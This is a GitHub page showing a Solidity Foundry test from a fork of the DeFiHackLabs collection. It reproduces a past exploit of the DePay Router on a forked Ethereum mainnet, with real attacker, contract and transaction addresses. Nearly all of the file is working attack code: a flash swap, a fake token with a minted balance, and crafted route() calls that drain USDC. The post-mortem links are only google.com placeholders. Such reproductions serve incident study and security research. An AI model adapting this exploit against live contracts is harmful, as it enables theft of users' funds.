forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
DePayRouter_exp.sol
129 lines (109 loc) · 5.15 KB
/
DePayRouter_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~827 USDC
// Attacker : https://etherscan.io/address/0x7f284235aef122215c46656163f39212ffa77ed9
// Attack Contract :https://etherscan.io/address/0xba2aa7426ec6529c25a38679478645b2db5fa19b
// Vulnerable Contract : https://etherscan.io/address/0xae60ac8e69414c2dc362d0e6a03af643d1d85b92
// Attack Tx : https://etherscan.io/tx/0x9a036058afb58169bfa91a826f5fcf4c0a376e650960669361d61bef99205f35
// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://twitter.com/CertiKAlert/status/1709764146324009268
// Hacking God : https://www.google.com/
interface IDepayRouterV1{
function route(
// The path of the token conversion.
address[] calldata path,
// Amounts passed to proccessors:
// e.g. [amountIn, amountOut, deadline]
uint[] calldata amounts,
// Addresses passed to plugins:
// e.g. [receiver]
address[] calldata addresses,
// List and order of plugins to be executed for this payment:
// e.g. [Uniswap,paymentPlugin] to swap and pay
address[] calldata plugins,
// Data passed to plugins:
// e.g. ["signatureOfSmartContractFunction(address,uint)"] receiving the payment
string[] calldata data
) external payable returns(bool);
}
contract ContractTest is Test{
IUSDC USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IUniswapV2Pair UNIV2 = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);
IUniswapV2Router UniRouter = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
IDepayRouterV1 DepayRouter = IDepayRouterV1(0xae60aC8e69414C2Dc362D0e6a03af643d1D85b92);
IUniswapV2Factory UniFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
uint amount = 1_755_923_836;
address DePayUniV1 = 0xe04b08Dfc6CaA0F4Ec523a3Ae283Ece7efE00019;
function conAddress(address address1, address address2) public pure returns (bytes memory) {
bytes32 concatenated;
assembly {
mstore(concatenated, address1)
mstore(add(concatenated, 0x14), address2)
}
return abi.encodePacked(concatenated);
}
function setUp() public {
vm.createSelectFork("mainnet", 18281130 - 1);
vm.label(address(USDC), "USDC");
vm.label(address(UNIV2), "UNIV2: USDC");
vm.label(address(UniRouter), "UniRouter");
vm.label(address(UniFactory), "UniFactory");
vm.label(address(DepayRouter), "DepayRouter");
approveAll();
}
function testExploit() external {
uint startUSDC = USDC.balanceOf(address(this));
console.log("Before Start: %d USDC", startUSDC);
UNIV2.swap(amount, 0, address(this), conAddress(address(USDC), address(DepayRouter)));
uint intExp = USDC.balanceOf(address(this))/1e6 ;
uint decExp = USDC.balanceOf(address(this)) - intExp * 1e6;
console.log("Attack Exploit: %s.%s USDC", intExp, decExp);
}
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{
uint amountAMin = 877_961_918;
ERC20ops();
uint256 amountA; uint256 amountB; uint256 liquidity;
(amountA, amountB, liquidity) = UniRouter.addLiquidity(sender, address(USDC), 1e30, 1, amountAMin, 1,
address(this), type(uint256).max);
IUniswapV2Pair newUniPair = IUniswapV2Pair(UniFactory.getPair(address(this), address(USDC)));
address[] memory path = new address[](2);
(path[0], path[1]) = (address(USDC), address(this));
uint256[] memory amounts = new uint256[](3);
(amounts[0], amounts[1], amounts[2]) = (amountAMin, 0, type(uint256).max);
address[] memory addresses = new address[](2);
(addresses[0], addresses[1]) = (address(this), address(this));
address[] memory plugins = new address[](2);
(plugins[0], plugins[1]) = (DePayUniV1, DePayUniV1);
string[] memory data = new string[](1);
DepayRouter.route(path, amounts, addresses, plugins, data);
newUniPair.approve(address(UniRouter), liquidity);
UniRouter.removeLiquidity(address(this), address(USDC), liquidity, 1, 1, address(this), type(uint256).max);
USDC.transfer(address(UNIV2), amount*1001/997);
}
function approveAll() internal {
USDC.approve(address(UniRouter), type(uint256).max);
USDC.approve(address(DepayRouter), type(uint256).max);
}
function ERC20ops() internal{
balances[address(this)] = 1e30 + 1;
}
mapping(address => uint256) public balances;
function balanceOf(address account) public view virtual returns (uint256) {
return balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
balances[from] -= value;
balances[to] += value;
}
}